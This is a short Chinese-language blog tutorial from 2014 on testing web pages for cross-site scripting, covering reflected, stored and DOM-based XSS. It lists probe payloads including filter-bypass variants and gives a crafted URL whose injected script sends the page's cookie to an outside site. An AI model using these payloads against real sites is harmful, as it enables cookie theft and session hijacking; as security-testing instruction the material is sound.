安全測試-跨站腳本攻擊(xss)
跨站腳本簡稱XSS(cross sites script),是web安全里比較重要也比較普遍的一種安全漏洞??缯灸_本是指輸入惡意的代碼,如果程序沒有對輸入輸出進行驗證,則瀏覽器將會被攻擊者控制??梢缘玫接脩鬰ookie、系統、瀏覽器信息,保存型xss還可以進行釣魚,以獲取更多的用戶信息。
最常見的測試跨站腳本的方法,輸入
<Script>alert(1)</script>
以及它的各種變體
<script>alert(1) </script>實體
%3Cscript%3Ealert(1)%3C/script%3E URL編碼
<scr<script>ipt>alert(1)<scr<script>ipt>
<script x=1>alert(1)</script x=1> 還可以這樣寫
或者<script>confirm(1)</script>
<javascript.:alert(1)>;等
如果提交后,頁面彈出警告框,則該頁面存在xss漏洞
*反射型xss
通俗來講,即使輸入一段代碼,既可以看到代碼實際的效果,而非原程序的效果
如:一段代碼
<html><body>
<script>
document.write(location.search);</script>//location.search返回url?開始的部分
</body></html>
當輸入以下url
"http://127.0.0.1/attrck.html?search=222"
頁面將顯示:?search=222 ;但url中如果輸入
/?search=<Script>alert(1)</script>
則頁面的實際代碼為:
document.write(?search=)<Script>alert(1)</script>;
將彈出警告框,即代碼<Script>alert(1)</script>被執行了,而并非頁面原來顯示?后字符串的效果
可以使用偽造后的url獲取用戶cookie
如,在示例1中加入document.cookie=("name=123");,設置cookie,然后構造url如下,實現將localhost域的cookie傳遞到百度并進行搜索
http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>
因為cookie是禁止跨域訪問的,但偽造的url,瀏覽器會認為是還是localhost的域
*保存型xss
是指將惡意代碼保存到服務器,比如發布一篇文章包含惡意代碼,其他用戶瀏覽時將執行惡意腳本
*基于dom的xss
嚴格來說該xss也屬于反射性,本文的例子其實也是dom based,是指修改頁面的dom對象模型,從而達成攻擊,比如頁面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss
查找xss漏洞一般使用手工輸入,需要考慮到輸入限制、過濾、長度限制等因素,因此需要設計各種不容的變體輸入,以達到測試效果,也可以使用工具,比如burpsuite來獲取請求后手工修改請求參數,然后重新提交到瀏覽器來測試,因為xss并不限于可見的頁面輸入,還有可能是隱藏表單域、get請求參數等。
posted on 2014-07-23 09:38 順其自然EVO 閱讀(255) 評論(0) 編輯 收藏 所屬分類: 測試學習專欄